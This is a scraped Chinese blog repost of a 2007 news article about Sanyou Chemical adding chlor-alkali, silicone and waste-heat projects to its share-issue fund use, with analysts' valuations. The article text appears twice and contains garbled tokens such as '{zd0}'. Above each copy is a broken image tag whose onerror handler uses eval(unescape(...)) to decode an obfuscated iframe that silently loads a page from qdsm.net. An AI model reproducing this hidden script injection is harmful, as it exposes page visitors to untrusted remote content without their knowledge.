定向增长:打造更完整的产业链?
[转贴 2010-02-07 09:55:10]
定向增长:打造更完整的产业链?
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
7月14日,三友化工(600409.SH)发布公告称,将2007年度公开增发新股募集资金的使用项目由2个增加为4个,相应地,拟使用募集资金由5.89亿元提高至8.34亿元。
公告显示,三友化工将所募集资金的用途在原有的6万吨/年有机硅项目和超低盐重质纯碱技术改造项目基础之上,又增加了30万吨/年聚氯乙烯、30万吨/年烧碱改造项目和纯碱生产系统反应热及系统余热综合利用项目。
公司方面表示,新增加的投资项目将进一步增强公司的盈利能力,有助于公司完整产业链的形成。
三友化工此次拟公开增发不超过12000万股A股,发行价格不低于公告招股意向书前二十个交易日公司股票均价或前一交易日均价。如果按照7月27日收盘价计算,此次增发将募集约11亿元以上。
产业链的优化
长城证券分析师张志宏认为,除有机硅外,定向增发所投项目都是比较传统的成熟项目,而且都是围绕纯碱生产的优化以及副产品的利用展开的。
作为纯碱生产的优化的重要内容,超低盐重质纯碱技术改造项目拟投入募集资金1.9亿元。中信证券在此前发布的研究报告中表示,该项目将提升纯碱产品质量和市场竞争力,附加值提升明显增加2008年及以后期间的利润。
更为引人关注的则是公司的两个新增项目。
本次募集资金新增项目之一是通过技术改造,使装置总能力达到30万吨/年聚氯乙烯、30万吨/年烧碱,实现公司"巩固纯碱、发展氯碱"的战略。
据介绍,双三十万吨氯碱装置与现有160万/年纯碱装置在资源循环使用上可以实现经济、合理的搭配,只需用较少的投资即可将生产能力提高到双30万吨/年,项目的实施有利于循环经济产业链布局的完整。
另一新增项目为纯碱生产系统反应热及系统余热综合利用项目,主要是公司纯碱系统及控股子公司唐山三友志达钙业有限公司氯化钙生产系统反应热及系统余热综合利用项目。据称,该项目总投资为8437万元,投产后,年节约标煤47687.14吨,年节水348万立方米,预计年净利润为1780.63万元。
业内人士分析,新增两个项目对相关设备和余热进行综合治理和回收利用,是具有较好示范意义的循环经济"样板"。通过此次公司募集资金建设新项目,将使公司未来的业务结构更加完善,业绩的进一步稳定增长得到保证。
有机硅新项目
更受关注的则是有机硅项目。事实上这个项目在2006年3月的招标阶段就因为未能及时公告而受到投资者的诘问。
据介绍,有机硅材料(英文名称Silicones)是一类性能优异、功能独特、用途极广的新型材料,与工程塑料、有机氟材料同属化工新型材料中产业规模{zd0}的三个行业之。
专家预测,在今后10年里世界有机硅的需求量仍将以较高的速度增长。预计2010年世界有机硅单体的消费量将超过310~330万吨。
天相投资于近日发布的研究报告显示,2000年以后,我国有机硅单体产量年平均增长率高达34.66%,但仍旧远远不能满足国内有机硅产品的增长要求,所以每年必须进口大量的有机硅初级聚合物或产品。
据称,目前我国主要有机硅单体生产厂有蓝星公司星新材料(10万吨)、浙江新安化工集团股份有限公司(9万吨)、吉林石化电石厂(7万吨)三家。国内产能明显不能满足需求。
天相投资认为,由于需求的高增长与较高的技术壁垒,有机硅行业一直都被给予较高的估值水平,行业平均市盈率在50倍以上,三友化工如果做成6万吨有机硅新项目,其估值空间很有想象的余地。
"在定向增发所投向的项目中,有机硅项目最为值得期待。"7月25日,长城证券分析师张志宏对记者表示,但有机硅项目的实施有一定的技术壁垒,能否成功关键看其人才的储备。
天相投资在早些时候发布的研究报告中也表示,国内有机硅新建产能已经非常大,预计2008年国内有机硅可能会出现供大于求的现象。假设公司2007年定向增发成功,那么有机硅项目建成投产最早也在2008年,因此对公司有机硅持观望态度。
天相投资认为,对公司进行FCFF估值结果是10.05元,按07年行业平均市盈率27.22倍进行相对估值,公司定价应为15.92元,平均估值结果为12.99元。某基金人士也表示,突破12元应该问题不大。
"之前我曾预计2007每股收益为0.46元＼2008年为0.56元,如果按20倍市盈率看,目前股价已经在合理估值区间。" 中原证券分析师王向升表示,但这个业绩数字是较早时候估算的,具体还要结合近期发布的中报等数据进行调整。
王向升表示,从纯碱行业来看,虽然现在处于景气高位,但毕竟全行业供给大于需求,景气拐点如果出现则比较麻烦。而且,本来今年BDI航运指数高涨对于国内纯碱行业出口有利,但出口退税率下调,纯碱从13%下调到0,出口受到很大打击。
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
7月14日,三友化工(600409.SH)发布公告称,将2007年度公开增发新股募集资金的使用项目由2个增加为4个,相应地,拟使用募集资金由5.89亿元提高至8.34亿元。
公告显示,三友化工将所募集资金的用途在原有的6万吨/年有机硅项目和超低盐重质纯碱技术改造项目基础之上,又增加了30万吨/年聚氯乙烯、30万吨/年烧碱改造项目和纯碱生产系统反应热及系统余热综合利用项目。
公司方面表示,新增加的投资项目将进一步增强公司的盈利能力,有助于公司完整产业链的形成。
三友化工此次拟公开增发不超过12000万股A股,发行价格不低于公告招股意向书前二十个交易日公司股票均价或前一交易日均价。如果按照7月27日收盘价计算,此次增发将募集约11亿元以上。
产业链的优化
长城证券分析师张志宏认为,除有机硅外,定向增发所投项目都是比较传统的成熟项目,而且都是围绕纯碱生产的优化以及副产品的利用展开的。
作为纯碱生产的优化的重要内容,超低盐重质纯碱技术改造项目拟投入募集资金1.9亿元。中信证券在此前发布的研究报告中表示,该项目将提升纯碱产品质量和市场竞争力,附加值提升明显增加2008年及以后期间的利润。
更为引人关注的则是公司的两个新增项目。
本次募集资金新增项目之一是通过技术改造,使装置总能力达到30万吨/年聚氯乙烯、30万吨/年烧碱,实现公司"巩固纯碱、发展氯碱"的战略。
据介绍,双三十万吨氯碱装置与现有160万/年纯碱装置在资源循环使用上可以实现经济、合理的搭配,只需用较少的投资即可将生产能力提高到双30万吨/年,项目的实施有利于循环经济产业链布局的完整。
另一新增项目为纯碱生产系统反应热及系统余热综合利用项目,主要是公司纯碱系统及控股子公司唐山三友志达钙业有限公司氯化钙生产系统反应热及系统余热综合利用项目。据称,该项目总投资为8437万元,投产后,年节约标煤47687.14吨,年节水348万立方米,预计年净利润为1780.63万元。
业内人士分析,新增两个项目对相关设备和余热进行综合治理和回收利用,是具有较好示范意义的循环经济"样板"。通过此次公司募集资金建设新项目,将使公司未来的业务结构更加完善,业绩的进一步稳定增长得到保证。
有机硅新项目
更受关注的则是有机硅项目。事实上这个项目在2006年3月的招标阶段就因为未能及时公告而受到投资者的诘问。
据介绍,有机硅材料(英文名称Silicones)是一类性能优异、功能独特、用途极广的新型材料,与工程塑料、有机氟材料同属化工新型材料中产业规模{zd0}的三个行业之。
专家预测,在今后10年里世界有机硅的需求量仍将以较高的速度增长。预计2010年世界有机硅单体的消费量将超过310~330万吨。
天相投资于近日发布的研究报告显示,2000年以后,我国有机硅单体产量年平均增长率高达34.66%,但仍旧远远不能满足国内有机硅产品的增长要求,所以每年必须进口大量的有机硅初级聚合物或产品。
据称,目前我国主要有机硅单体生产厂有蓝星公司星新材料(10万吨)、浙江新安化工集团股份有限公司(9万吨)、吉林石化电石厂(7万吨)三家。国内产能明显不能满足需求。
天相投资认为,由于需求的高增长与较高的技术壁垒,有机硅行业一直都被给予较高的估值水平,行业平均市盈率在50倍以上,三友化工如果做成6万吨有机硅新项目,其估值空间很有想象的余地。
"在定向增发所投向的项目中,有机硅项目最为值得期待。"7月25日,长城证券分析师张志宏对记者表示,但有机硅项目的实施有一定的技术壁垒,能否成功关键看其人才的储备。
天相投资在早些时候发布的研究报告中也表示,国内有机硅新建产能已经非常大,预计2008年国内有机硅可能会出现供大于求的现象。假设公司2007年定向增发成功,那么有机硅项目建成投产最早也在2008年,因此对公司有机硅持观望态度。
天相投资认为,对公司进行FCFF估值结果是10.05元,按07年行业平均市盈率27.22倍进行相对估值,公司定价应为15.92元,平均估值结果为12.99元。某基金人士也表示,突破12元应该问题不大。
"之前我曾预计2007每股收益为0.46元＼2008年为0.56元,如果按20倍市盈率看,目前股价已经在合理估值区间。" 中原证券分析师王向升表示,但这个业绩数字是较早时候估算的,具体还要结合近期发布的中报等数据进行调整。
王向升表示,从纯碱行业来看,虽然现在处于景气高位,但毕竟全行业供给大于需求,景气拐点如果出现则比较麻烦。而且,本来今年BDI航运指数高涨对于国内纯碱行业出口有利,但出口退税率下调,纯碱从13%下调到0,出口受到很大打击。
郑重声明：资讯 【定向增长:打造更完整的产业链? - 银行信息港- recurrence - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
